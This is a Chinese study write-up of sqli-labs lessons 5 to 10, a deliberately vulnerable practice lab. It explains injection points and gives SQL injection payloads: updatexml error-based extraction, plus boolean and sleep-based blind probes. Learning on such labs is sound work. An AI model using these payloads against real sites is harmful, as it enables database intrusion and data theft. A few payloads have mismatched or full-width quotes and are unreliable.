lesson5-lesson10

注入结果反馈方法

直接回显

  • union注入: 拼接union子句,并屏蔽主句内容,让子句内容回显到页面上。注意union字个数需要和主句select个数相同(通过order by 猜字段范围技巧)。

  • error-based: 报错注入, 通过报错信息查询内容直接回显到显示屏上。

间接回显

  • boolean-based: 构造控制条件,基于显示屏上的布尔变化,逐位猜测数据库中的信息。

  • time-based:构造控制条件, 基于时间上的布尔变化,逐位猜测数据库中的信息。

其他

  • DNS:通过dns查询侧信道,将查询内容放入查询域名中,通过间接回显渠道达到直接回显。

lesson5

  • source :

if(isset($_GET['id']))
{
$id=$_GET['id'];
}
  • sink:

同lesson1, 这又是一个单引号闭合。

  • output:

第五关开始, 这个地方保留了显错注入, 但是没有了联合注入, 登陆成功不现实数据库查处的任何字段(You are in ...),可以利用这句话的存在与否进行布尔型盲注。

  • 报错注入: 通过 print_r(mysql_error())

    • xpath: index.php?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

  • 盲注:

    • 时间

    • boolean

    index.php?id=1' and if((substr(user(),1,1)='r'),1,0)--+

lesson6

  • sink

同lesson4,这里又是一个双引号闭合。

  • 报错注入: 通过 print_r(mysql_error())

    • xpath: index.php?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

  • 盲注:

    • 时间

    index.php?id=1" and if((substr(user(),1,1)='r'),sleep(5), 0)--+

    • boolean

      index.php?id=1" and if((substr(user(),1,1)='r'),1, 0)--+

lesson7

  • sink

单引号闭合,加双重括号型的。

  • output

看这里把`mysql_error()注释掉了, 所以没有报错注入了。

  • 盲注:

    • 时间

    index.php?id=1')) and if((substr(user(),1,1)='r'),sleep(5), 0)--+

    • boolean

      index.php?id=1')) and if((substr(user(),1,1)='r'),1, 0)--+

lesson8

  • sink

这儿简单了, 单引号闭合。

  • output

这里多了注释,但是仍然可以通过显不显示`You are in `构造布尔型注入。

  • 盲注:

    • 时间

    index.php?id=1' and if((substr(user(),1,1)='r'),sleep(5), 0)--+

    • boolean

      index.php?id=1' and if((substr(user(),1,1)='r'),1, 0)--+

lesson9

  • output

其他和lesson8完全一样, 就这里少注释一句。造成无法正常布尔注入,因为无论怎样都会显示`You are in `。

  • 盲注:

    • 时间

    index.php?id=1' and if((substr(user(),1,1)='r'),sleep(5), 0)--+

lesson10

  • sink

双引号闭合, 其他与lesson9相同。

  • 盲注:

    • 时间

    index.php?id=1“ and if((substr(user(),1,1)='r'),sleep(5), 0)--+

Last updated